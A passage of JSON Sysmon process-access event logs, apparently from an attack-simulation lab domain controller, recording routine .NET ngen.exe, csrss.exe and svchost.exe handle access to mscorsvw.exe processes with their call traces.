C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00104CA40B00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7046,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00104CA40B00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00104CA40B00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7047,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-00104CA40B00}\r\nTargetProcessId: 4628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-00104CA40B00}","TargetProcessId":"4628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7048,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.338\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001007C40A00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.338","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001007C40A00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429A-5F2D-0000-001007C40A00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429A-5F2D-0000-001007C40A00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-0010F2A70B00}\r\nTargetProcessId: 4220\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-0010F2A70B00}","TargetProcessId":"4220","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.400\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001051AB0B00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.400","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001051AB0B00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:48.400\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AC-5F2D-0000-001051AB0B00}\r\nTargetProcessId: 4684\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:48.400","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AC-5F2D-0000-001051AB0B00}","TargetProcessId":"4684","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:49","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 